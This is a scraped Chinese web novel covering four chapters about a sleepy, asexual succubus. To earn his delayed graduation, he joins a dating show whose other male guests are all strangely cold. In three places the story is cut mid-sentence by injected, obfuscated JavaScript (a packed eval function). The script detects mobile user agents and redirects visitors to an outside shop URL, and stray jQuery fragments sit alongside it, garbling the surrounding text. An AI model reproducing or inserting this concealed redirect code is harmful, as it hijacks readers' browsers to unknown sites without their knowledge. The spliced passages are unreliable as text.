《魅魔,但转修无情道》 1. 录制前夕 一个月后,面对那片象征自由与浪漫的大海,祝叙乔总会想起自己答应何臣参加节目的那个下午。 为了一张毕业证书而答应献祭灵魂的下午。 01 本来想尝试很有品味的开头,但很显然我不适合这种开场白。像是把清澈愚蠢小熊猫塞进笔挺西装里并在演讲台上对着一大票人类宣讲人类保卫誓言那样滑稽。 怎么能指望一个二十四小时有十八个小时都在睡觉的魅魔给出震撼人心的答案呢,显然不可能。 恶魔和人类是两个物种。不用怀疑,货真价实的两个物种。 我有时候也会思考其他同胞们从人类身上获取食物的时候会不会有生殖隔离这件事存在。 不过多想无益,毕竟有没有都和我没关系。 我,祝叙乔,人类年龄换算为二十七岁,是个魅魔。 还是个性冷淡魅魔。 听起来是不是很稀奇,但大千世界无奇不有,为什么不能包容一个甚至是只做上位的阳痿魅魔呢? 由于此等“残疾”,我已经在魅魔学院延毕五年了,至今未能拿到毕业证书。 曾几何时,刚入学的小祝还能意气风发,坚信自己能在学院的学习中重振旗鼓,洗刷作为魅魔不应当有的耻辱。 然而就读学院第二年后,小祝就意识到这种事情属于做大梦,还不如直接睡觉来的比较快。 就读学院第三年后,小祝风采不再,已经彻底进化为老油条,擅长在宿舍睡到天昏地暗。 就读学院第九年,小祝已经进化为学院著名钉子户老祝了,一个魔送走好几届舍友。 魅魔学院是四年制本科,我延毕五年,毕业实习迟迟没有完成,已经是学院领导的心腹大患。 于是今年学院选择强行拆迁,把我踢了出去。我拎着空荡轻飘的包,站在人类世界的街头,手里是学院的实习准则,只觉得前路渺茫。 不仅实习对象自己找,实习工资还没有,怎么想怎么难过。 好在祸福相依,我四处辗转,找到实习对象前,先让我挤进了人类娱乐圈的赛道。 魅魔在人类娱乐圈大放异彩简直是我们学院流传最广的定律,我在街头流浪的时候甚至能看见学弟徐钦的大屏广告,拿着手机搜他的名字,热搜广场腥风血雨,足见其人气。 按照这条定律,我本来应该也能像徐钦那样,大放异彩后解决我的实习问题,但在出演无数次尸体和无台词无正面镜头龙套后,我意识到自己作为“残疾”魅魔的悲痛之处。 这也是我选择大白天在公司宿舍睡觉的重要原因。 卧室窗帘紧闭,床铺柔软,空调温度适宜,简直就是个睡眠天堂。 如果没有孜孜不倦坚持响铃的手机就更不错了。 我叹了口气,接通了电话。 “您拨打的用户暂时无法接通,请稍后再拨——”我趴在床上,懒散开口,电话那头沉寂片刻,听到吸气声后我很迅速地拉远了手机。 我的经纪人方哥在电话里怒吼:“祝叙乔!” “在在在。”我抓了抓头发,从被窝里钻出来,“有事吗?” 方哥先对我进行劈头盖脸一顿骂,我打了个哈欠,慢悠悠道:“方哥我挂电话了。” 这招很有效,每次方哥对我进行无意义的说教我就会这么干,然后方哥就会像被掐住脖子的鸭子,嘎一声后说出他的目的。 叫我去趟公司。 “诶——”我拉长音感慨,在他发起第二轮攻击前道:“马上就到。” 对于一个透明人而言,我实在不知道有什么去公司的必要。 扮演尸体的活都是我自己找的,大概是睡觉睡多了,我在扮演尸体这件事上还挺有心得。 布置好的宜眠环境只能放弃,我翻身下床,随后拿过堆在椅子的衣服山顶部黑色短袖套上。 衣摆拉到跨部前,我低头看了眼小腹上的纹样。 暗淡又模糊,很显然是长久没进食的原因。我懒得再看第二眼,抬手抹去痕迹,进卫生间洗漱,把自己勉强收拾出人形后,踏出家门见到了久违的日光。 “啊,好热。” 我抬头看了眼猛烈的日光,钻进水果店,买了盒果切,边走边吃,并在方哥即将发火的最后一秒踩点进公司会议室,将空了的塑料盒丢进垃圾桶,语气热情地和他打了声招呼:“方哥下午好啊。” 虽然没有任何笑容。 “祝叙乔,我有时候真的很想揍你。”方哥捏紧拳头,恨不得往我脸上砸去,但咬牙切齿一番后,他还是松开了自己的拳头。 可能是因为我这张脸好看吧。 “需要我露出不二家的表情让你更火大吗?”我挠挠鼻尖,平静问道:“所以你找我干嘛。我们又不是能够私底下快乐聊天的亲密关系。” 说起来还是方哥把我签到公司里的,但他很显然没想到我属于一块不可雕琢的朽木,这让他非常挫败。 我和他的关系也在相处当中不断恶化。 “你走大运了。”他不情不愿开口,我从口袋里摸出一根棒棒糖,死活扯不开包装袋:“有剪刀吗,我拆不开。” “你能不能听人讲话!”方哥怒道。我伸出一根手指,指着自己的脸:“我要昏过去了。” 我的脸色我自己最清楚,整天一副惨白病鬼样,仿佛下一秒就要倒地不起。 没有正常进食渠道,我就只能通过糖分和睡眠补充能量,现在正好到吃饭时间。 方哥惊恐地看着我,匆忙替我剥开糖:“我上辈子欠你的吗?怎么把你这种家伙签进公司了!” “这不是很好嘛,”我含着糖,含含糊糊说,“我也算公司少之又少的有生力量。” 签合同的时候我就怀疑公司的经营执照是否合法,毕竟实在简陋,整个公司的艺人能凑出两桌麻将都算厉害了,所有人在公司里浑水摸鱼,大家一起躺平,摆得很安心。 有不想摆的,也努力爬了出去。 如果不是毕业的问题,我能安心躺到天荒地老。 “所以呢,找我来到底是为了什么?”我半躺在沙发上,伸了个懒腰。 方哥道:“《绝对不恋爱》想请你做嘉宾。” 我眨了眨眼睛:“哇哦,请我做嘉宾,他们不怕亏本啊?” 方哥满脸写着无语:“他们财大气粗的,压根不怕亏本。” “这次是因为徐钦出事,才空出一个嘉宾位置,那么多人等着抢,谁知道是怎么落到你头上的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090256|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “徐钦?”从他口中听到学弟的名字,我还有点讶然,“他出什么事了?” “你今天绝对又睡过去了吧!”方哥暴躁道,“自己看热搜。” 我翻出手机,徐钦今天占了好几个高位热搜,被包养,滥/交出轨,脚踏N条船,围绕私生活展开了无数讨论。 简直是被负面舆论缠身。 “啊,好惨。”我没什么感情地感慨道。 这些事情对绝大数魅魔而言都是家常便饭,人类眼中所谓的情感关系只是魅魔用来进食的手段而已。 不过毕竟在人类世界,徐钦的行为已经触犯到人类的道德规则,被批判也是正常。 方哥还在嘀嘀咕咕,看了眼手机后对我说:“节目组的导演想和你见面,你稍微拾掇一下自己,怎么每天都和流浪汉一样,白瞎一张好脸。” “我要是真和流浪汉一样我今天会穿着睡衣出门。”我反驳他。 反驳无果,我还是被羁押着去换了一身行头,被迫人模狗样和《绝对不恋爱》的导演何臣见面。 方哥本来想承担工作洽谈的任务,给出的理由是怕我这张嘴惹得人家不开心。 真让魔难过。 不过他的理由并没有成功,何臣的助理很有礼貌地把他请了出去,给我和何臣挪空间交流。 何臣在开口和我交流前,先站在我面前,用扫视的方式,把我从头到尾扫描了一遍,最后换成了非常狐疑的视线。 并试探性开口问道:“祝先生,你真的是魅魔吗?” 真失礼啊。 我扯了扯嘴角,垂眸看他:“你今年还在中二期吗?” 不会还把自己当邪王真眼了吧? “不好意思,只是想要确认一件事而已。”何臣摆摆手,和我笑道,“其实你是徐钦介绍给我们的。” “节目嘉宾需要一位魅魔,但徐钦出了事儿,我们暂时没有合适的候选嘉宾,徐钦为了将功补过,就说他的学长也在圈内工作,很安全,不会出事儿,给我们推荐了你,我们就想着来邀请你参加节目。” “不过,还挺出人意外。”他的语气有点微妙,委婉同我说。 我是个性冷淡我有什么办法。 “你们找合欢宗不是更快?”我问道,“合欢宗也有学生在做艺人吧?” “投资方把合欢宗拉黑了。”何臣微笑道,“之前结的梁子有点多。” 我无话可说,只好为我安全的魅魔身份进行辩解:“你知道的吧,世界上能闯的祸不止一种,还有好多滔天大祸等着我去闯。” 何臣笑得有点诡异:“这就是我准备的谈判条件了。” 他对我问道:“你还没毕业吧?” 感觉有支利箭扎在我心口。 “你来参加节目,完成任务,我就和你们学校商量一下,让你毕业无忧。” 太好了,是人脉,我的毕业证书有救了。 虽然是这么想,但我还是警惕开口:“什么任务。” 毕业证书的诱惑力是很高,可我也不是什么一说就上钩的鱼,势必要让何臣空军一回才是。 何臣正色道:“你的任务就是,让其余男嘉宾为你动心。” 好像听到了什么笑话。 2. 录制第一天(1) 02 《绝对不恋爱》在我看来和传统恋综并没有多少区别,只是起了个和恋综主题相悖,充作噱头的节目名称。 节目会邀请不同职业的六位男嘉宾,在选定的恋爱小屋中共度三十天。像是什么“不准私自添加联系方式”“不准私自表白”“入住当天不得公开身份信息”等规定都存在。 只不过唯一不同的地方在于,参与节目的嘉宾们要遵循“不心动”这一原则。 我个魔认为这种规则没有任何必要,还要隐瞒自己的心思,不表现出苗头,比起综艺,拍戏还差不多。 完全就是闲着没事干的节目。 能火起来估计全靠绝佳事业运。 “你确定?我?”我反问何臣,“这个动心的标准到底是什么?” “这个会有导师——观察师进行判断的,你不用操心。”何臣说,“你只要把你在学校里学的东西全部发挥出来就好,你不是魅魔吗?引诱人类对你而言应该易如反掌吧。” 我感觉他在羞辱我。 “毕业证书很重要吧,你已经延毕五年了,总不能真的做大十一学长吧?” 何臣在我耳侧低语,他明明是个人类,却比我这个恶魔还像恶魔。 “行,我去。”我咬碎棒棒糖,果决道,在他露出欣喜表情前,接了转折:“但我有个要求。” “你说。” “如果我努力完成任务,但还是失败了,在我毕业这件事上你要出把力。” 万一何臣坑我,那我岂不是赔了夫人又折兵。 他没有思考多久,一合掌,同意了我的要求。 “四天后开始录制,地点在衍水市的珍浮岛,地址和流程会发给你,记得准时到。”何臣的笑容明显带上了放松的态度。 我晃晃手里的棒棒糖棍子,不禁开始幻想起参加毕业典礼的场景。 学院领导在给我拨穗的时候会不会感动到痛哭流涕? 万年钉子户,拉低毕业率的祝叙乔终于毕业了!可喜可贺! 会议室内,我和何臣都很满意。 03 方哥不是很满意。 走出会议室的时候,他垮着一张脸,活像有人欠他五百万。 我又不是人。 而且我管他满不满意,我满意就行了。 04 我坐完飞机坐大巴,坐完大巴坐渡轮,坐完渡轮又坐轿车,七拐八拐才绕到珍浮岛的录制地点。 提着简陋的行李在路上走的时候,我感觉我像个货真价实的流浪汉。 到别墅后先录制了进别墅的镜头,我才有时间放下行李,观察别墅内部的构造。 进门处是入住准则公告牌,我扫了两眼,和我记的东西没有任何区别。 别墅内部安装了大量摄像头,以求不错过任何精彩片段。 我不太适应被摄像头彻底包围的环境,像是无数只眼珠盯着我看,有点恶心。但又不能逃避拍摄,就只好挑了点盲区慢慢挪动。 别墅内目前只有我一个,其他男嘉宾都没到。 卧室都在二楼,按照流程来看,等所有嘉宾到齐了才会抽签选择入住房间,我从口袋里掏出一根蓝莓味的棒棒糖,窝在沙发上开始扯包装。 每次在这个时候我都会无比思念方哥,他总是能恰到好处地,十分善良地把剪刀递给我。 我叹了口气,准备尝试暴力拆卸的时候,眼前却忽然多了只握住剪刀的手。 很贴心地把尖头朝自己,把柄朝向我。 “谢谢——”我顺势接过剪刀,握住把柄的那一刻却猛地意识到了不对劲。 我虽然在魅魔里是个残疾,但好歹也占个恶魔的名头,对人类的气息感知格外敏锐。 但从这个人出现在我面前到他给我递出剪刀,我都没有任何的反应。 我没有发现他的存在。 “不客气。”对方低下头垂眸看向我,脸上没什么表情。 三十度的天气里,他穿了一身挺括完整的黑色西服,身姿端正挺拔,容貌大概是人类世界里属于英俊的那一档。 从头到尾都散发着冷漠的气息,没有非人的感觉。 他手边还有只行李箱,我在接过剪刀的同时不动声色打量他,半信半疑确认了他的人类身份, 还是来参加节目的嘉宾。 我慢吞吞剪棒棒糖的包装,他在离我不远处的沙发上坐下,没有开口的意思。 客厅内一片寂静,我含着糖,和这位二号嘉宾之间仿佛隔着楚河汉界。 其实这个时候我就应该意识到不对劲了。 但很遗憾的是我还在和傻子一样吃糖,脑子里居然还敢思考学校教过我的东西。 二号男嘉宾来了之后,剩余的四位像是打好了商量,饺子下锅似的一个接一个进来。 先进门的是三号男嘉宾,他只带了个小行李箱,身形略有些清瘦,头发很蓬松,很像成功的舒芙蕾。 我尝试抬手和他打了声招呼,然而他只是和我点了点头,紧跟着拖行李箱火速坐在了离我和二号男嘉宾最远的地方。 嗯? 他进来没多久后,四号男嘉宾也到了。比起三号,不知为何他让我感受到一种热血沸腾之感,仿佛会在三十度高温天气里持续散发高温攻击的沸水。 然而在他进入会客厅坐下后,这种感觉被一盆冰水直接浇灭了。 我摸了摸胳膊上因不明冷意冒出的鸡皮疙瘩,没忍住打了个喷嚏。 五号和六号男嘉宾是一起进来的。 看到五号的第一眼我就知道这人是个榆木疙瘩,他的身上有种很浓烈的、隔绝外界的非人感。 至于六号男嘉宾,他脸上是和其余嘉宾一样如出一辙的冰块脸,但灵魂却散发出若有似无的诡异气息。 所有嘉宾都到齐了,大家各自占据沙发的一角,彼此之间能再塞三个成年男性。 没有人开口,当然也没有恶魔想说话。 处在亚热带季风气候区域的珍浮岛好像变成了北极,混合着别墅内的空调冷气,带来了更加逼真的北极体验。 我望着一座又一座端坐的冰山,心底后知后觉漫上一股绝望。 六名嘉宾,五个冰川,一个面瘫性冷淡,恋综最起码的性张力全无,摄像头下只有一片死寂。 这个节目,真的有人看吗? 现在,我终于明白何臣对我露出如同奸佞一般的微笑到底意味着什么。 我好想逃。 早知道是这个情况,参加节目的时候我就该带件羽绒服来。 05 十分钟的沉寂过后,我想起了自己的任务,也拒绝和这群人类大眼瞪小眼,无奈开口:“虽然不能提前透露自己的职业与年龄,名字还是可以说的,先自我介绍吧?” “祝叙乔。” 这种类似主导场合的身份,我是第一次承担。 大多数时候我都喜欢缩在角落观察人类。 方哥带我参加过一场小型宴会,他全程赔笑脸,我则缩在角落里观察不同的人,透过那些虚情假意的表情,能看出很多的大戏。 安静的有点让恶魔害怕了。 我看见了三号嘉宾隐蔽的视线,那眼神里带了点怜悯。我试图表达一个友善的微笑,但他低下了头,那是拒绝和我交流的意思。 人类到底想要怎么样! 十秒过去后,穿着西服的二号嘉宾率先开口:“裴问青。” 他开口的时候我就像拿到了那把可以拆开棒棒糖包装的剪刀,在这一刻仿佛沐浴到了天使的光辉。 长了嘴巴为什么不拿来说话,为什么不能无偿归还嘴巴的真实用途? 我换了个坐姿,试图把自己彻底嵌进沙发里面。 裴问青没有多说的意思,报了个姓名后就重新回归沉默,视线平静寡淡地扫过全场。 我很想知道节目组为什么不把主持人的工作交给他。 这季节目录制结束,我可以转行去当主持人了,婚礼司仪也行。 裴问青后,三号嘉宾直接保持了沉默,直接跳到了四号嘉宾介绍。 四号嘉宾开口的时候我感觉羽绒服也不是特别重要了。 他的眼睛亮了亮,那盆沸水哗的一声又烧得滚烫:“我是程况野,很高——” 我眨了眨眼,自动替他补全:“很高兴见到大家?” 然而他就像一只被掐住脖子的鸭,瞬间不吱声了,那盆沸水直接被冷冻,成了大坨冰块。 恋综这种东西不应该有剧本吗?让我一个残疾魅魔拿全员心动对象的人设,那他们也应该有才对吧? 他们难道拿的是全员冰山的剧本吗?! 五号嘉宾平直的声音从寂静里挤了进来:“楼序。” 老实说,我现在很想直接跑路,毕不毕业的又有什么关系呢?我可以浪迹天涯。 浪迹天涯是个很不错的选择,我尝试幻想草原奔袭的身姿,然而只能想到身下的沙发很柔软很好睡。 五号嘉宾报完名字后,六号嘉宾跟了上来:“封之南。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090257|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的声音很有特色,和他的灵魂一样的诡异味道。 装作自己不存在的三号嘉宾如今也逃不开自报姓名,他第一次说的时候我根本没听清,还要努力扬起笑容鼓励他说一遍。 好像在欺负舒芙蕾。 舒芙蕾猛地从沙发上弹了起来,大声道:“我是徐明歌!” 他突然亢奋把我吓一跳,我看着他缩成球的身体,下意识鼓了鼓掌:“……很有精神。” 本来是想给他一个台阶下,但会客厅内蔓延的寂静告诉我这个台阶对徐明歌而言似乎有点太高。 他好像下不来了。 06 “到单采环节喽,祝老师,可以先从你开始吗?” 工作人员的声音犹如天籁之音,我长舒一口气,酸痛的肩膀甩掉了无数压力,去房间进行单采的脚步格外轻松。 门关上后,我先看见的人是何臣。 “呵呵。”我朝他笑了笑。 “哈哈。”何臣同样朝我笑笑。 “你到底想要拍什么,寂静岭吗?”我走到他面前,仗着身高优势垂眸看他。何臣摆摆手:“节目特色,节目特色,你不是看过了吗,我们每一季的嘉宾刚到的时候,都不怎么说话。” 我是看过之前的《绝对不恋爱》,但通常介绍完名字之后基本会热闹一点。 压根不像刚才我面对的情况,那种所有人都不熟悉的场合下我竟然成了话最多的那个。 “相信你自己,你可以的。”何臣握拳给我加油鼓劲。 “可以个屁啊。”我抓了抓头发,“入住准则能不能加一条他们每天至少要说满十句话。” 何臣笑得很虚伪。 到了单采环节又是鸡飞狗跳,我坐在镜头前,满脸麻木听工作人员的提问。 “为什么会想到来参加《绝对不恋爱》呢?” “因为我对节目很感兴趣……” 为了毕业来的。 “那有没有想过在节目上尝试‘恋爱’呢?” “哈哈,听起来似乎很有意思……” 上岸第一剑,先斩意中人,毕业之后我就去报无情道专业的研究生考试。 “那刚才已经见过几位嘉宾了,也互相交换过姓名,有没有印象特别深刻的?” “我更希望能和他们有更详细的交流……” 给我递剪刀的友善西装男,舒芙蕾,沸水男,榆木疙瘩,诡异男。 我的第一印象。 “……好的,单采结束了,辛苦。” “你们也是,辛苦了。” 摄像机停止录制,我站起身,不知道何臣和工作人员们说了什么,几个人站在摄像机后齐刷刷抬起头,向我露出带着惨烈意味的鼓励神情。 到底是为什么要搞出一副托孤的架势啊! “……” 从单采的房间里出来后,我重新回到会客厅。裴问青已经结束单采坐在沙发上了,看见我时,还友善地点了点头。 按照何臣之前说的,《绝对不恋爱》每一季里,都会有一位魅魔嘉宾,说完名字就变得热闹一点大概是魅魔的能力在发挥作用。 此路在我这里行不通,我只能换条路走。 鉴于裴问青之前有给我递剪刀的前因,我盘算起从他入手逐一攻克的可能性。 “等他们都结束后,商量一下晚上睡哪儿吧。”我估摸了一下距离,在和他差两个身位的地方坐下。 裴问青抬手看了眼时间,开口道:“房间是抽签选择。” 太好了,不用我开口主持房间分配会议了。 “那也挺好的。”我打了个哈欠,双眼无神地盯着前方的摄像头。 “很困吗?”裴问青问道。 我摇了摇头:“也没有,只是到平时打瞌睡的时间,固定打个哈欠维持日程而已。” “实在困可以上楼休息,”裴问青说,“二楼左手边三个房间窗景很好。” 我回头看了他一眼,他说这话时的神情还是一副冷淡的模样,但语气却缓和了一点。 “等他们结束单采吧。”我说道,“我对窗景没有要求,有地方给我睡就好。” 因为在摄像头下,我坐在沙发上的坐姿比平时规整了不少,只是沙发实在太软,我感觉我的脊梁骨正在一点一点被抽走。 “不过你怎么对房间构造这么清楚?提前观察过了吗?”我靠着沙发,开玩笑似的问裴问青。 裴问青看向我,目光淡然:“因为这栋别墅是我的。” 我:“……” 3. 录制第一天(2) 07 “挺酷的。” 我朝他比了个大拇指,把裴问青和那位贡献录制场地的嘉宾划上等号。 摄像头依旧在兢兢业业工作,我不知道何臣他们在摄像机背后的反应,也不知道节目播出后,会有多少人因为不起一丝波澜的相处环节连夜跑路。 至少让我来猜,我和裴问青现在的相处,应该会很尴尬。 但我一向奉行我不尴尬,尴尬的就是别人,也就没有采取措施尝试改变这种氛围。 这么想来,魅魔的教育似乎更侧重于直接进行精神引诱,全然跳过了沟通交流这一环节。 我魅魔的课学的不好,人类的沟通交流好像也没有学到什么东西。 领导吃饭我不转桌已经是我社交情商发挥最高的时候。 我对方哥就没有客气过。 剩下四个人还没有结束单采,我也不好坐在裴问青旁边打消消乐,只能枕着沙发盯天花板发呆。 “为什么会想来参加节目?”裴问青低声问我。 “啊?” 我应了一声,慢悠悠偏头看向他:“想来就来了。” 说完之后我才反应过来刚才的回答和我单采时候说的东西没有任何关联性,又连忙找补道:“节目挺有意思的。” 裴问青似乎是低笑了一声,我听不真切,用重复的问题反问他:“你又为什么会来?” “还人情。”他开口道,“毕竟是好友的请求,不帮个忙似乎说不过去。” “看来这人情欠的很大。”我伸了个懒腰,对他说道。 不知道裴问青有什么把柄在他的朋友手上,竟然让他来寂静岭遭受此等酷刑。 只是看他这副喜静的样子,应该不会有任何不适应,剩下那四个人也是,声带和被扯了似的,多讲一个字就能要了他们的命。 “相比起平时要轻松不少,就当是放假,还能认识不同的人。”裴问青转过头看着我,看模样对这次节目还挺满意。 “也挺好,就当来玩了。”我又往沙发里缩了缩,那四个人的单采也结束了,从房间里走出来时,我能明显感觉到他们的状态和刚开始有点区别。 工作人员拿着一个抽签箱走了出来,开口道:“晚上住的房间要抽签决定哦,谁先来?” 我看向坐着的五个人,彼此之间相差的身位减到两个人了,有进步。 这次是裴问青率先开口:“直接石头剪刀布吧,赢得先来。” 有人愿意开口主持,我自然落得清净,往中间挪了挪。 按照我们这群人现在坐着的位置,石头剪刀布都看不清对方出了什么东西。 “那就坐近一点吧,一直离那么远也不太像话。”开口的人是封之南,声音低哑。 他脸上冰块一般的表情如今被若有似无的微笑取代,身上的诡异感愈发强烈了。 两人身位再次缩减为一人身位,徐明歌看起来有种舒芙蕾塌陷之感,挪动一个身位后,完全拒绝继续挪动位置。 我们一群人围着茶几,勉强能看清彼此的动作后,竟然能做到不发出任何声音完成了石头剪刀布的对决。 我甚至不知道这种莫名其妙的默契到底是哪里来的,脑电波交流吗? 连着几局沉默的石头剪刀布后,抽签的顺序终于决定,程况野第一个,脸上那副无法压抑住的兴奋让我百思不得其解。 摄像头一圈围着,来参加节目的,大部分应该都是为了获得曝光度和流量,既然如此,直接大方表现就好,何必压抑自己的心情。 我支着脸,再次去观察这群人,只觉得他们每一个都很古怪,像是藏了什么秘密。 “祝叙乔,到你了。”裴问青轻轻碰了碰我的手肘,我将手伸进抽签箱,随便摸了张纸条出来。 上面写了一串很熟悉的文字。 “二楼左手边第三个房间”。 裴问青和我说过的房间,窗景很漂亮。 我瞥了他一眼,他像是察觉到了我的视线,偏过了头:“怎么了?” 那张写着房间位置的纸在我指间簌簌作响,我摇了摇头,按下心里那点异样:“没什么。” 房间抽签结束后找工作人员带着抽签箱退出别墅,这栋所谓的恋爱小屋再次剩下我们。 “晚上做饭是我们自己来的吧?” 我无声叹气,率先问道。 “厨房估计也没有准备食材,等会儿还要去一趟超市。” 超市购物和厨房做饭,恋综常见桥段,最适合感情升温,玩点小暧昧的地方。 “那看来要分两组,一组去超市,一组准备晚餐。”裴问青看了腕表,“时间不早了。” 现在就看怎么分组。 如果不是因为何臣那个该死的任务,我对现下这副场景还是很感兴趣的,至少可以看一场戏,组队的人选之间会出现什么意外情况都值得观察。 我更应该出现在观察室里,而不是坐在这里主持大局。 “组队就不用抽签了吧,遵循个人意愿更好。”我摸着口袋里的糖,望向他们:“有人会做饭吗?” 地狱菜系我倒是会点,但很显然人类吃不了地狱特色饮食,做饭这种事还是交给人类自己比较合适。 我耐心等了会儿,徐明歌颤颤巍巍地举起了手:“我。” 不知道为什么,他看着好可怜。 气氛一时间有点古怪,楼序这个榆木疙瘩半点没察觉到,干脆果决开口:“我留下。” 程况野跃跃欲试,我以为他要说自己做饭超厉害,结果只是表达了一下其实他根本不会做饭。 “不过我可以留下来打下手。”他说。 我看向封之南,他双手抱臂坐在沙发上,优哉游哉开口:“我去超市。” 最后只剩下裴问青。 “我去超市。”他顿了一会儿,才说。 我望向外面依旧热烈到过分的太阳,实在不想移动自己,只是厨房已经有三个人了,我跟着去超市似乎更公平。 “我去超市。”我把手从口袋里抽出来,“确认要买什么食材就出门吧。” “很公平的分组。”楼序突然说。 大进步,说了三句话。 08 和裴问青、封之南一起出门后,我才反应过来这种该死的公平根本没有必要,谁家恋综拍摄拍出舍友生活日常之感的。 摄影跟在我们身后拍摄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090258|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素材,我一回身就看见几个人目光热切地看着我们。 不知道在热血沸腾什么。 “我来之前做了攻略,对这里还算熟悉,我来开车。”封之南晃晃手里的车钥匙,开玩笑似的道:“没问题吧?” 别墅大门活像有什么魔力,他和裴问青两个人踏出那栋别墅后,身形明显放松不少。 封之南率先坐进驾驶位,留下我和裴问青还站在车外,两个人都坐后面有把封之南当司机之嫌,不大尊重人。 “后座位置宽,你要不要去坐后面?”裴问青看着我问道,“我看你精神不大好。” 他人还怪贴心的。 我还没照过镜子,不清楚现在脸色的具体模样,估计和鬼没区别。 如果不是还有呼吸大概会被误认成僵尸。 裴问青去了副驾,我就钻进了后座。 封之南开了导航确认路线,在导航声里忽地开口道:“你们话还挺少的。” 我枕着车窗,只觉得他这话说的格外匪夷所思,连带回话都有些茫然:“你确定?” 裴问青低着头发消息,头也不抬道:“我还是很健谈的。” 啊? 他们的自我认知是不是有什么不对的地方。 “话少的不是都留下来做饭了么?” 我枕着车窗,脑袋一颠一颠,有一搭没一搭回话。 封之南问道:“晚上是不是还有互相发送短信的环节?” “还有这个环节?”裴问青突然抬起头,“不是《绝对不恋爱》吗?” “好歹也是恋综,走点流程也有必要。”我有气无力道。 裴问青转过头,惊道:“你脸色怎么那么差?” 车子缓缓停下,前方是红灯,封之南跟着转过头看向我,微微睁大眼问道:“已经是惨白了,身体哪里不舒服吗?” 我摆摆手:“没事,已经习惯了。” 裴问青皱了皱眉:“下午看到你在吃糖,是不是有低血糖?” 我又不可能直接和他一个人类说惊不惊喜意不意外我是恶魔,只能虚弱点点头:“嗯。” 封之南后半程的车速忽然加快,停好车后,我还没碰到把手,车门就先开了,裴问青站在车外,朝我伸手。 我茫然地看着他的掌心:“还是能走的。” 封之南在一旁道:“脸色这么差,别逞强了。” 我下了车,他们两个人一左一右扛起了我。 “……” 我感觉我像是人类扁担上挂着的年猪。 案板上的鱼。 进超市的这段路,我仿佛听到了我的鞋尖在地面摩擦的声音。 “其实没必要这么扛我的……”我小声开口,垂眸看见裴问青正经的面容,和封之南脸上诡异的表情。 他俩还真是实诚人,忽视我的声音后直接把我扛到了超市里。让我在前台坐着,封之南迅速去买了包硬糖回来。 期间裴问青就站在我身侧,生怕我稍有不测。 “让你们操心了。”我把糖塞进嘴里,诚恳向他们道谢。 我发自内心感谢人类有时表现出的善良品格。 即使这会让我像只年猪。 4. 录制第一天(3) 09 我当着裴问青和封之南的面把糖咽下去后,这俩实诚人才肯结束把我当猴看的姿势。 跟来的摄像在他们身后,一群人直接形成了包围圈,把我围了起来。 来超市的其他顾客见到摄像机,再一看包围圈,也跟着探头探脑,带着好奇的目光文明观猴。 我简直无话可说。 “好了。”那大包硬糖我硬是塞了四颗在嘴里,水果香精的味道腻得我发慌。我站起身,向他们保证:“真没事了,不用担心。” 裴问青虽然还是那副冷冷淡淡的表情,话里的关怀却做不得假:“真的没事吗?” 我勉强能感觉到他的真实人设应该是操心型角色,不然没办法解释他多次向我伸出援手,以及看我这鬼样子如此操心。 封之南倒是信了我的说辞:“没事的话我们就去买菜吧,好歹我和裴问青都在,能把你扛回去。” 我不想再体验一次鞋尖摩擦地面的感觉了。 10 糖吃完后,我能明显感受到脸上泛起了一点热意,我和裴问青封之南两个人走向蔬果区,节目组搭的群聊里,徐明歌已经把晚餐需要的食材都发了出来。 我拿着手机,给正在挑土豆的裴问青报名字 :“青椒,空心菜,大白菜……” 封之南凑到我的身边问道:“你分得清好坏吗?” 我偏过头看了他一眼:“看外观就好了。” 他离我的距离有点太近了,有点超出了正常社交范围。我一向不太适应和人类靠太近,只好借着挑选青椒的动作不动声色和他拉开距离。 “其实有个小诀窍。”他大概没发现我和他拉开了距离,故弄玄虚道:“看旁边的阿姨怎么选就好。” 我看着他一边偷看旁边阿姨的动作,一边往袋子里跟着塞,搞得好像在进行什么违法犯罪行为。 裴问青也结束挑土豆,见到封之南这副模样,强势拿过他手里的东西:“你是怎么做到把打蔫菜叶都挑进来的?” 他叹了口气,重新挑了新鲜的白菜,把土豆白菜和空心菜往封之南怀里一塞:“你去把这些称重了。” 见我手里还有青椒,往那个袋子口里看了眼,对封之南道:“青椒也带上。” “祝叙乔。”他三言两语安排完封之南,又对我道:“还有什么要买的?” 封之南估计还沉浸在自己挑白菜的眼光太差,唉声叹气去称重了。 “还有鸡蛋。”我看了眼手机,对裴问青说。 封之南还在排队给东西称重,裴问青看了眼水果,问道:“要不要买水果?” “可以。”我说道。 裴问青瞥了眼摄像头,和远处还在排队的封之南,朝我低声问道:“有……的吗?” 超市人声嘈杂,我没太听清他说的话,只好朝他侧过头问:“什么?” 